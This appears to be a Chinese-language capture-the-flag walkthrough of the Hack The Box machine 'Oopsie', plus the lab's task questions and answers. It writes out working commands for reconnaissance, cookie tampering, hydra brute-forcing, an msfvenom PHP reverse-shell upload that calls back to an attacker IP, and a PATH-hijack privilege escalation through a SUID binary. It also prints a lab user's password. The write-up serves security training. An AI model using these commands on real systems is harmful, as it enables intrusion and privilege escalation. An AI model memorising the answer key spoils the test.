Oopsie

扫描发现22,80开放
nmap -sV 10.129.114.125

file

访问web,发现/cdn-cgi/login/路径

file

另外爆破路径可以用gobuster,成功率取决与字典
gobuster dir -u  http://10.129.114.125 -w 字典路径
访问http://10.129.114.125/cdn-cgi/login/ , 有个login as guest

file file

页面Account url id=2,替换为1会是什么样呢

file file

cookies file

修改cookie值,role为admin, user为34322刷新 ,可以发现upload可以上传东西

file

也可以对登陆页面可以暴力破解,但是通过上面的绕过更方便

可以用burpsuite也可以用hydra 登录并查看请求信息 file 请求地址 http://10.129.114.125/cdn-cgi/login/index.php post的数据username=admin&password=1

hydra -l admin -P pass.txt -f 10.129.41.170 http-post-form "/cdn-cgi/login/index.php:username=^USER^&password=^PASS^:Login"

file

命令解释:

-l 用户名 -P 字典路径 http-post-form 通过post 表单提交数据 "/URL:username=^USER^&password=^PASS^:判断条件" 通过:分割,URL为请求地址, USER 和PASS分别为前面的参数,最后一个为判断条件

上传一个phpinfo但是没有回显路径, 需要查找或者爆破一下目录 file

注意到路径有一个uploads,尝试访问看看 http://10.129.114.125/uploads/ 路径存在 file

shell脚本,可以用weevely ,或者用msf ,或者哥斯拉 看个人喜好 http://10.129.114.125/uploads/infoinfo.php file

下面演示使用msfconsole进行

msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 10.10.16.130
run -j

file

另开一个终端生成一个webshell

 msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.16.130 lport=4444 -f raw > reverse.php

file

上传刚刚生成的reverse.php, 然后访问 http://10.129.114.125/uploads/reverse.php msf会收到一个shell file 使用shell

session 1

在/cdn-cgi/login/db.php目录找到数据库连接的相关信息 file

获取一个tty终端,使用python, 因为开放了22端口,可以直接使用ssh

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

    su robert
    M3g4C0rpUs3r!  #密码
    cd
    ls
    cat user.txt

file file

查看用户id, 发现所属两个组

id

file

查找存在suid的文件

find / -perm -u=s -type f 2>/dev/null

file

文件会从root目录读取文件, file

提权,通过改变cat的环境变量,来进行,

echo $PATH
export PATH=/tmp:$PATH
echo '/bin/bash' > cat
chmod +x cat
/usr/bin/bugtracker
    1
    whoami
    ls /root/
    tail /root/root.txt
    tail /home/robert/user.txt

file

获取flag ,使用tail ,head ,more,vi, vim 等查看, file


  • TASK 1 With what kind of tool can intercept web traffic? 用什么样的工具可以拦截网络流量?

    proxy
  • TASK 2 What is the path to the directory on the webserver that returns a login page? 网络服务器上返回登录页面的目录的路径是什么?

    /cdn-cgi/login
  • TASK 3 What can be modified in Firefox to get access to the upload page? 在Firefox中可以修改什么以获得对上传页面的访问?

    cookie
  • TASK 4 What is the access ID of the admin user? 什么是管理员用户的访问ID?

    34322
  • TASK 5 On uploading a file, what directory does that file appear in on the server? 在上传文件时,该文件会出现在服务器的哪个目录中?

    /uploads
  • TASK 6 What is the file that contains the password that is shared with the robert user? 包含与robert用户共享的密码的文件是什么?

    db.php
  • TASK 7 What executible is run with the option "-group bugtracker" to identify all files owned by the bugtracker group? 使用选项"-group bugtracker "运行什么可执行文件,以确定bugtracker组所拥有的所有文件?

    find
  • TASK 8 Regardless of which user starts running the bugtracker executable, what's user privileges will use to run? 无论哪个用户开始运行bugtracker可执行文件,都会使用什么用户权限来运行?

    root
  • TASK 9 What SUID stands for? SUID代表什么?

    set owner user id
  • TASK 10 What is the name of the executable being called in an insecure manner? 正在以不安全的方式调用的可执行文件的名称是什么?

    cat